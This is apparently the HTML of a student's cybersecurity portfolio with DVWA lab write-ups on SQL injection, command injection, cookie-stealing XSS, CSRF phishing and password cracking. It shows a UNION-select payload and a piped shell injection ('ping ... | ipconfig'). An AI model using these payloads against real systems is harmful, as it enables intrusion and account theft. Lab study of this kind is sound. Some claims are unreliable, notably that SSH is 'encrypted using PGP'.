Beekmans.dev 2019</span> </div> <div class="col-md-4"> </div> <div class="col-md-4"> <ul class="list-inline quicklinks"> <li class="list-inline-item"> <a href="#">Privacy Policy</a> </li> <li class="list-inline-item"> <a href="#">Terms of Use</a> </li> </ul> </div> </div> </div> </footer> <div class="portfolio-modal modal fade" id="portfolioModal1" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Self Assessment</h2> <p class="item-intro text-muted">Week 1</p> <p> <ol> <li>What did you like / or find easy?</li> <li>What did you find difficult? At what point did it get too difficult for now?</li> <li> Then check the list of learning subjects for the basic knowledge assignment and possibilities and requirements for the project. <ul> <li>What subjects do you already know and what is unknown terrain for you?</li> </ul> </li> <li>What parts of the current semester would you like to give much attention?</li> <li>What do you want to achieve and learn in particular?</li> <li>Which study style and corresponding planning is most suitable for you?</li> <li>What would you like to do or achieve in the project? (subjects, type of project, domain to work in, learning goals, etc.) </li> </ol> <br> Answers: <br> <ol> <li>I like working with servers and playing with my network at home and virtual machines. I think I find basic networking the easiest. </li> <li>Advanced networking all knowledge that I know is self-taught so I think there is a lot I don’t know yet. I got stuck on virtual lans and ip routing at home what else I’ll find difficult is what I need to find out in the distant future. </li> <li> Subjects: <div class="container"> <div class="row"> <div class="col-sm-4"> <ul> Used: <li>VMWare</li> <li>Linux</li> <li>IPv4</li> <li>NAT</li> <li>TCP/IP</li> <li>DNS</li> <li>HTTP</li> <li>FTP</li> <li>Firewalls</li> <li>HTTPS</li> <li>VPN</li> </ul> </div> <div class="col-sm-4"> <ul> Know about but never used: <li>VMWare ESX</li> <li>Wireshark</li> <li>ARP</li> <li>IP routing</li> <li>SMTP</li> <li>IDS</li> </ul> </div> <div class="col-sm-4"> <ul> Never heard about it: <li>Seclab</li> <li>ICMP ping</li> <li>CIA and IT Risk analysis</li> </ul> </div> </div> </div> </li> <li>Advanced networking and the transition to Java.</li> <li>How to be a good Cyber security expert.</li> <li>Style 2, I’ll try to find out if this is the most suitable for me and maybe go to the style 3 courses on the days I get subjects I already know. </li> <li>I don’t really have a preference I want to learn as much as possible related to cyber security. </li> </ol> </p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Self assessment</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal2" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagram.png" alt=""> <p>This network diagram shows 3 main VLAN's containing a employee environment for the employees to work on, a guest environment for the people visiting the company as guests and a DMZ for the servers and services to the outside world.</p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal3" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram V2</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagramV2.png" alt=""> <p>This is the second version of my network diagram. I changed a few things to match Casper's feedback. The first thing I changed are the firewalls, I only needed to address the physical firewall and not the ones for every single interface. The last thing was I added the corresponding IP ranges and subnets to each VLAN.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal4" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Secure connections</p> <a href="../../img/portfolio/blue/sshAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sshAccess.png" alt=""></a> <p>Here you can see that I made a SSH connection to my Ubuntu webserver. I use Putty as my SSH terminal. SSH is encrypted using PGP (Pretty good privacy) which uses a public and a private key to communicate with each other. This is especially helpful because you don't need to transfer passwords to encrypt the connection. The sending client encrypts its message using the public key from the recipient and the recipient decrypts the message using its own private key. This works the same the other way around. I can use this technique to remotely manage my webservers without the need physical access.</p> <a href="../../img/portfolio/blue/vpnAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/vpnAccess.png" alt=""></a> <p>Here you can see that I'm connected to a VPN. This VPN is OpenVPN and runs on the PfSense router. It gives me access to the subnets I gave it access to and with this I can remotely manage my whole network, with being actually physically connected to the network. The OpenVPN connection is encrypted be TLS (Transfer layer security) which is successor from SSL. TLS uses a handshake at the start of the connection where a key is shared between the 2 clients. This key will be used for the symmetric encryption of the messages. The authenticity of the connection is secured by a certificate and the public key of the webserver this prevents possible man in the middle attacks, where someone will pretend to be another website for example.</p> <a href="../../img/portfolio/blue/sslConnection.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sslConnection.png" alt=""></a> <p>Here you can see the ssl certificate I created for the website that is running my portfolio. I created the script using certbot in Ubuntu and the CA is Let's encrypt authority x3. The website automatically forces all traffic to https, the website is still accessible by http but will redirect the user to https.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Secure connections</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal5" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IDS/IPS</p> <P>I implemented Suricata as my IPS, I thought it would be the best option because they say it's more advanced and newer. Below you can see some prove of the implementation and some results I came across.</P> <a href="../../img/portfolio/blue/Suricata1.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata1.png" alt=""></a> <p>I configured the IPS to monitor the WAN and LAN interface for now but I'm planning to configure it to the Employee VLAN as well. This will protect the company for any potential threats from the inside.</p> <a href="../../img/portfolio/blue/Suricata2.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata2.png" alt=""></a> <p>I tested the IPS with a website called <a href="https://www.wicar.org/">Wicar</a>. On this website you can run malicious code and test you network without it being an actual threat or risk.</p> <a href="../../img/portfolio/blue/Suricata3.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata3.png" alt=""></a> <p>I have used the Snort community rules and the Emerging threats rules these are both free to use and do a decent job of protecting the network with not too many false positives.</p> <a href="../../img/portfolio/blue/DDOSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/DDOSAlert.png" alt=""></a> <p>We encountered a real world scenario which actually turned out to work really well with an IPS. Bram tried to DDOS my website while it was running in my pfsense environment. The IPS immediately noticed this and blocked his IP. While the website was running outside the pfsense zone Bram could DDOS all he want without getting blocked.</p> <a href="../../img/portfolio/blue/BlockList.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BlockList.png" alt=""></a> <p>Here you can see Bram's IP in the Suricata blocklist.</p> <a href="../../img/portfolio/blue/Bram'sIP.jpg"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Bram'sIP.jpg" alt=""></a> <p>This is a screenshot from Bram's computer with his IP he used for generating the alert.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: IDS/IPS</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal6" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Information Security and Risk Analysis</p> <h3>CIA</h3> <h4>Confidentiality:</h4> <p>The company will hold confidential data from costumers, things like credit card information user accounts and databases for the costumer's websites.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Costumer data .... Leak</li> </ul> <h4>Integrity:</h4> <p>The costumers trust the company to secure their servers on their end and they trust the company that it won't sell any costumer data to 3rd parties.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Correct .... Tampering</li> </ul> <h4>Availability:</h4> <p>Because the costumers might use these websites for commercial use, it is at the utmost importance that the websites are fast, reliable and 24/7 reachable.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Well timed .... Delay</li> <li>Continuity .... Downtime</li> </ul> <p>Click on this <a href="../../img/portfolio/Risk%20analysis.xlsx">link</a> to download the full risk analysis.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Risk Analysis</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal7" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IT Monitoring</p> <p>I implemented a Nagios server and installed Ntop as part of my network monitoring system.</p> <a href="../../img/portfolio/blue/OnlineHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/OnlineHosts.png" alt=""></a> <p>Ntop generates a list with all hosts that are online on the network and you can filter them by VLAN. You can see how much bandwidth they are using how much data was transferred since they are online and how many flows are going to that host.</p> <a href="../../img/portfolio/blue/MostUsedHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedHosts.png" alt=""></a> <p>Here I can see which host uses the most traffic in my DMZ. With 172.16.0.2 being the apache server and 172.16.0.3 being the IIS server.</p> <a href="../../img/portfolio/blue/MostUsedProtocols.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedProtocols.png" alt=""></a> <p>Here I can see which protocols are used the most. Windows update on number 1 because it needs to download a lot and after that ssl for the https traffic to my website and ftp to push changes. This doesn't indicate that the most traffic is going to windows update only that it used the most bandwidth.</p> <a href="../../img/portfolio/blue/BulgarianHacker.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BulgarianHacker.png" alt=""></a> <p>Ntop even managed to identify a rogue Bulgarian hacker trying to access my Jenkins server.</p> <a href="../../img/portfolio/blue/HostsStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostsStatus.png" alt=""></a> <p>This is Nagios it is in some ways similar to Ntop but is much more advanced and can do some things that Ntop can't. On this page you can see al the hosts that are monitored by Nagios. It displays if the hosts are up and running or if there are any problems.</p> <a href="../../img/portfolio/blue/HostDetails.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostDetails.png" alt=""></a> <p>If you click on one of the monitored hosts from the previous picture Nagios will show you with a more detailed report on the host with some more information about uptime and status.</p> <a href="../../img/portfolio/blue/ServiceStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/ServiceStatus.png" alt=""></a> <p>This is a great example on something Nagios is much better at then Ntop. Here Nagios monitors all the services you flagged on different hosts. For example your apache server could be down but the physical Linux server is still up and running. Nagios and Ntop will both say this Linux machine is up and fine but Nagios will also say that the http/https service is down. The same goes for every other service you configure to monitor (SSH/FTP).</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Monitoring</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal8" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">SQL injection</p> <a href="../../img/portfolio/red/SqlStart.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/SqlStart.png" alt=""></a> <p>I applied sql injection on a search function in DVWA.</p> <a href="../../img/portfolio/red/CheckIfVuln.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVuln.png" alt=""></a> <p>The easiest way to check if the search function is vulnerable is to just type some gibberish that the search function doesn't expect. This should generate a sql error.</p> <a href="../../img/portfolio/red/CheckIfVulnResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVulnResult.png" alt=""></a> <p>And it did! Now we know that the search function is vulnerable and we can try some injections</p> <p>So know we can check which database we're dealing with by getting the version.</p> <a href="../../img/portfolio/red/GetDbVersion.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetDbVersion.png" alt=""></a> <p>Oke let's break it down.</p> <p>The query that is used for searching the users probably looks like something like this "SELECT first_name, last_name FROM users WHERE user_id = '$id'" and I typed "null' UNION select CURRENT_user, @@version #"</p> <p>The "null'" ends the original query and makes it obsolete because there probably aren't any users with a 'null' as id. The 'UNION' allows me to execute a subquery and the result from this query gets added underneath the results from the original query.</p> <p>Now I use 'select' to indicate which information I want to get. I used 'CURRENT_user' and '@@version' to get both the current user and the database version.</p> <p>The reason that I select both the "CURRENT_user" and the "@@version" in the same query, is that if I would only select for example "@@version" I would get the error displayed below. I could have fixed that by rewriting the query like this: "INSERT QUERY" and I typed "null' UNION select @@version, @@version #" This way the subquery matches the amount of columns of the original query again.</p> <a href="../../img/portfolio/Use%20Of%23.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/Use%20Of%23.png" alt=""></a> <p>TALK ABOUT THE #</p> <a href="../../img/portfolio/red/DiffNumberColumns.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/DiffNumberColumns.png" alt=""></a> <p>Now we can execute any query we want as long as it matches the amount of columns of the original query, otherwise we get a error like the one displayed above. Now we can try something that has a little more impact.</p> <a href="../../img/portfolio/red/GetAllTables.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetAllTables.png" alt=""></a> <p>For example by getting all the table names inside the database. This is obvious not a good sign because I good use this to determine what the names are of the user tables and check if there might be some more tables I want to focus on, for example credit card information of the users.</p> <a href="../../img/portfolio/red/GetUserAndPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetUserAndPass.png" alt=""></a> <p>But in this case we won't go after people's credit card information but after there password. I know the user table name from the previous query and now I can just try some common column names like; username, user, name, those type of things.</p> <p>And we got a username and a hash! But now what? The username is simple but the password is hashed and can't be just copied and used.</p> <a href="../../img/portfolio/red/HashDecrypt.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/HashDecrypt.png" alt=""></a> <p>That's were this site comes in. I just insert the md5 hash in this decryptor and it checks a big database with common hashes and their decrypted word. And now I have the password and I can just login with admin/password.</p> <p>So how would you prevent this? The best thing to do is sanitize the queries. Make sure all the queries use prepared statements and are parameterised. This prevents people inserting for example strings instead of numbers and prevents them from ignoring your query and inserting their own.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: SQL injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal9" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Command injection</p> <p>I applied sql injection on a ping function in DVWA.</p> <a href="img/portfolio/Command%20injection.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/Command%20injection.png" alt=""></a> <p>The way this function works is it takes the ip and inserts it directly in a shell. It would probably looks like something like this "ping 'INSERTED_IP'".</p> <p>Now this little symbol "|" is called a pipe and it can be used to execute multiple commands in one line. So I used the "|" to execute my own command after the ping command just like shown above.</p> <p>I typed in the ip because it still needs to execute the ping command and after that I did a "ipconfig" so the command would look like this when executed in the shell: "ping 185.230.127.234 | ipconfig" This gave us the ip information of the machine the webpage is running on.</p> <a href="../../img/portfolio/red/CmdCurrentUser.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdCurrentUser.png" alt=""></a> <p>I can also get the current user logged in user from the machine using "net user". But with "net user" you can do much more even change the password of the current user or create a completely new user just for me.</p> <a href="../../img/portfolio/red/CmdWifiPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdWifiPass.png" alt=""></a> <p>What is maybe even better I can get the wifi password of the connected pc in plain text. Now I can connect to the same network because I know the password.</p> <a href="../../img/portfolio/red/CmdEnterpriceWifi.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdEnterpriceWifi.png" alt=""></a> <p>This trick doesn't work with more advanced wifi security though. Here you see the eduroam network from school which is protected with 802.1x control. This doesn't mean you can't get the password at all it just makes it a whole lot harder.</p> <a href="../../img/portfolio/red/CIDIR.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CIDIR.png" alt=""></a> <p>I was also able to run the "dir" command. This tells me a lot about the local machine and how the web server is installed.</p> <a href="../../img/portfolio/red/CISystemInfo.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CISystemInfo.png" alt=""></a> <P>With the "systeminfo" command I'm able to get a lot of information about the physical machine which might be useful to me later. It greatly increases my attack surface.</P> <p>This can be prevented by sanitizing the input and not just inserting it straight into the shell. Make sure it goes to a parameterised function first, check the input and then insert it into a shell for example.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Command injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal10" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site scripting</p> <p>I will now show you how you could apply XSS to a website.</p> <a href="../../img/portfolio/red/XSSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlert.png" alt=""></a> <p>First I have to check if the website is vulnerable. The easiest way to check this is just to try a simple "Alert" script just like this.</p> <a href="../../img/portfolio/red/XSSAlertResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlertResult.png" alt=""></a> <p>As you can see the script works so that means that the website is vulnerable to XSS. Now I can try something that has some more impact and could actually be useful for me.</p> <a href="../../img/portfolio/red/MaxCharLimit.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/MaxCharLimit.png" alt=""></a> <p>This form doesn't allow more than 50 characters, so writing bigger scripts might make this difficult. Luckily they only validate this in the frontend so I can just inspect this page and change the maximum characters in the form. So now I can write some bigger scripts that give me more information.</p> <a href="../../img/portfolio/red/XSSGetCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>Like getting the cookie of the user so I can hijack their session.</p> <a href="../../img/portfolio/red/XSSGetCookieResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>So now I got the cookie it is my own though, but these scripts get stored inside the comments and the comments are persistent. Therefore I could also write a script that sends the cookie to me instead of displaying it. This way I can make it almost invisible for everyone to see and everyone who loads this page their cookie gets send to me.</p> <a href="../../img/portfolio/red/XSSOldCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSOldCookie.png" alt=""></a> <p>Now I can try to use the cookie that I stole in the previous picture to try and login. As you can see my cookie is now different and I'm not logged in.</p> <a href="../../img/portfolio/red/XSSNewCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSNewCookie.png" alt=""></a> <p>Now I placed the cookie I stole in my own cookie to hopefully make the website think I'm the person who is logged in that I stole this cookie from.</p> <a href="../../img/portfolio/red/XSSSessionHijack.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSSessionHijack.png" alt=""></a> <p>And now when I try to load the index page the website thinks I'm logged in as the person the cookie belongs to and I hijacked their session. I can now do everything on their account, comment in their name and change their data or steal their data.</p> <p>And if this person is by any chance an admin I might be able to do some more extreme things as well. Like creating or deleting users or their comments.</p> <a href="../../img/portfolio/red/XSSIframe.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframe.png" alt=""></a> <P>Sometimes the programmers try to prevent XSS by filtering out the script tags. But they forget the filter out all the other HTML tags. So I can load my own website in an "Iframe".</P> <a href="../../img/portfolio/red/XSSIframeResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframeResult.png" alt=""></a> <p>This might only sound as good free marketing but you can also do other things. Like redirecting everyone that visits this page to my own website or inject scripts in other html tags, so I can still run my scripts even though they banned the script tags.</p> <p>These type of attacks can be prevented by sanitizing the input much like SQL injection. Make sure that all the text that users can post to the website's frontend doesn't get converted to straight HTML. In this way they can't exploit other HTML tags as well.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site scripting</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal11" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site request forgery</p> <p>Now I'm going to exploit CSRF on a website. The principles are quite simple, if you see the query that is called in the search bar, then the website might be vulnerable.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>As you can see in the search bar the website creates a query. If I would send this query without the form it would work as well but only for me. So I need to get this link to an user fill in my own password and make him click it.</p> <a href="../../img/portfolio/red/CSRFHTMLFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFHTMLFile.png" alt=""></a> <p>So I created a little phishing email using HTML. By using HTML I can make the email as legit as possible. By hiding the actual link in a text or even adding the DVWA logo. If I would know how they normally would send emails to their users, I could fully recreate it and you won't see the difference.</p> <a href="../../img/portfolio/red/CSRFUserEmail.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFUserEmail.png" alt=""></a> <p>The user would get an email like this and if you add urgency to the message, the user might not even think about any red flags because they feel the need to act as fast as possible.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>Now the user got send to the same page to change your password, but I already changed it when it loaded the page.</p> <a href="../../img/portfolio/red/CSRFLogin.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLogin.png" alt=""></a> <p>Now if the user tries to login he can't because the password is changed, and I can log into his account and exploit it as much as I want.</p> <p>These type of attacks can be prevented by using things like a CAPTCHA or asking the user to fill in their old password. Even though this cannot fully prevent this type of attack it will make it a lot harder to succeed</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site request forgery</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal12" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Path traversal</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Path traversal</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal13" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Password cracking</p> <p>Now I'm going to show to basics of password cracking.</p> <p> There are a few main ways to crack passwords <ul> <li>Brute forcing</li> <li>Dictionary attacks</li> <li>Rainbow tables</li> </ul> </p> <p>Brute forcing is the most basic way to crack a password, it just tries every possible combination of letters. It has a few pros and some big cons.</p> <p>Brute forcing is rarely used these days just for the simple reason that cracking a modern encrypted password would take more then a lifetime. It also costs a lot of computing power because it generates the hashes on the fly and there are a lot of hashes to generate and try. The pro is though that it doesn't use any storage space because it generates everything instead of getting them for a wordlist. Brute forcing could be an option when you know that the password that you're cracking isn't a existing word but rather a string of random numbers and letters. Even though brute forcing might be the only option in that case, you're probably better off finding another way to get the password.</p> <p>Dictionary attacks are more sophisticated, it's way more efficient and faster but there a big con.</p> <p>Dictionary attacks use a predefined list of words and generates hashes for them and then compare them to the hash you want to crack to see if any of them match. The pro is that this is way faster. The downside on the other hand is that if the password you want to crack isn't in the word list you have no chance of success. The dictionary attack could be extended by generating multiple versions of every word some with captitals some with random numbers after them etc. A dictionary attack could also be made very personal and tailored to the specifications of your target. For example adding the targets place of work or pet names to the list. Also if you want more chance of success you'll need a bigger word list and those can grow pretty fast costing thus a lot of storage space.</p> <p>Rainbow tables are in essence a lot like dictionary attacks, but actually better.</p> <p>Rainbow tables contain like a dictionary attack a wordlist. The difference is that the wordlist is already hashed and could contain all possible solutions making a look like a brute force. You could for instance create a rainbow table having every possible solution making it a bruto force but more efficient costing less time, or generate hashes for your dictionary attack wordlist which might be reusable costing you less time in the future. Rainbow tables do come with some downsides like it costs a lot of harddisk space, less then a dictionary attack of the same size because it uses lossless compression, but if you want a lot of possibilities it will still be a big file. The hash type like MD5 or SHA256 is static thus making it less versatile/useful when you don't know the encryption type. Same goes for the salt, a salt could be added to the list but it will make the file even bigger. A problem that you won't have with a dictionary attack or brute force because the hashes get generated in the fly.</p> <p>A good way to make encrypted passwords harder to crack is by using a salt or a pepper. A salt is random data added to the password before it's hashed, and because it's different for every new password it gets stored alongside the password. This has a pro and a con. The pro is that the salt is different for every password meaning that if one password gets compromised the others are still save. The downside is though that if someone breaches the database he will know the salts for each password instantly. Now a pepper uses the same method to encrypt a password, it is random data and adds it to the password before it's hashed. But a pepper is static and is stored separately from the password hashes. Now this method has a pro and con as well. The pro is that if the database is breached the hacker won't know the pepper making cracking the passwords a lot harder. The con is that if he finds the pepper all the passwords are compromised, but to do that he might need to decompile the code and find the pepper, which is a lot harder than breaching the database most of the time.</p> <a href="../../img/portfolio/red/CrackHashGenerate.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashGenerate.png" alt=""></a> <p>I created a small demonstration on hacking a simple MD5 hash. So I first of all created a hash for the string "password".</p> <a href="../../img/portfolio/red/CrackHashId.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashId.png" alt=""></a> <p>If I would have stole this hash from some database I might not know the hash type, which is important for me to know if I want to save time or use a rainbow table. So I ran "Hash-identifier" and gave it the hash. This gives me an idea what the hash type might be.</p> <a href="../../img/portfolio/red/CrackHashFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashFile.png" alt=""></a> <p>I placed the has in a file. In this case there's only one hash in there but in reality this list could contain all the hashes from a certain database.</p> <a 